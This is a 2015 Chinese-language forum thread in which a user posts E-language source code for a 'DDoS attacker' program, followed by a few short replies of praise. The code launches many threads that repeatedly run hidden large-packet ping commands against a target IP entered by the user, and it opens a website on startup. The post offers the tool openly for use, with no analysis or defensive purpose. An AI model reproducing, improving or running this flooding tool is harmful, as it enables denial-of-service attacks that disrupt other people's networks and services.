虫虫等待 发表于 2015-6-19 13:24:50

[技术交流] ip攻击器源码


.版本 2
.支持库 eAPI
.支持库 xplib
.支持库 EThread

.程序集 窗口程序集1
.程序集变量 成功次数, 整数型
.程序集变量 失败次数, 整数型
.程序集变量 是否攻击, 逻辑型
.程序集变量 销毁线程, 整数型
.程序集变量 guanyu, 逻辑型

.子程序 __启动窗口_创建完毕

打开指定网址 (“www.xlliang.icoc.cn”)
XP风格 (1)
guanyu = 真

.子程序 _调节器1_调节钮被按下
.参数 按钮值, 整数型

.如果 (按钮值 = 1)
    编辑框2.内容 = 到文本 (到数值 (编辑框2.内容) + 1)
.否则
    .如果真 (到数值 (编辑框2.内容) ≠ 1)
      编辑框2.内容 = 到文本 (到数值 (编辑框2.内容) - 1)
    .如果真结束

.如果结束


.子程序 _按钮开始攻击_被单击
.局部变量 计次, 整数型

是否攻击 = 真
.计次循环首 (到数值 (编辑框2.内容), 计次)
    启动线程 (&攻击线程, 10)
    按钮开始攻击.禁止 = 真
    按钮停止攻击.禁止 = 假
    编辑框2.禁止 = 真
    调节器1.禁止 = 真
.计次循环尾 ()

.子程序 攻击线程

.如果真 (是否攻击 = 假)
    销毁线程 = 销毁线程 + 1
    _启动窗口.标题 = “开启线程” + 编辑框2.内容 + “ ” + “关闭线程” + 到文本 (销毁线程)
    .如果真 (销毁线程 = 到数值 (编辑框2.内容))
      _启动窗口.标题 = “DDOS攻击器”
      按钮开始攻击.禁止 = 假
      编辑框2.禁止 = 假
      调节器1.禁止 = 假
      销毁线程 = 0
    .如果真结束
    返回 ()
.如果真结束

.如果 (运行 (“ping ” + 编辑框IP.内容 + “-l 65500 -n 1 -f”, 真, #隐藏窗口))
    ' -l 65500 -n 1 -f    65500是数据包大小可改为0-65500之间的数
    成功次数 = 成功次数 + 1
.否则
    失败次数 = 失败次数 + 1
.如果结束
.如果真 (是否攻击 = 真)
    _启动窗口.标题 = “成功” + 到文本 (成功次数) + “ ” + “失败” + 到文本 (失败次数)
.如果真结束
攻击线程 ()



.子程序 _按钮停止攻击_被单击

_启动窗口.标题 = “请等待线程结束”
是否攻击 = 假
按钮停止攻击.禁止 = 真

.子程序 _按钮关于_被单击

.判断开始 (guanyu = 真)
    _启动窗口.高度 = 240
    guanyu = 假
.默认
    _启动窗口.高度 = 142
    guanyu = 真
.判断结束


.子程序 _按钮上传_被单击

打开指定网址 (“”)

盛宴 发表于 2015-6-19 13:33:59

小白到此一游! :victory:
等待 好腻害!

qq6353694 发表于 2015-6-21 00:11:19

。。。。。。。。。

依旧菈凮 发表于 2015-6-21 12:04:19

感谢楼主分享!

nikkitang 发表于 2015-6-26 22:56:07

每天学一点,不断进步,加油!
页: [1]
查看完整版本: [技术交流] ip攻击器源码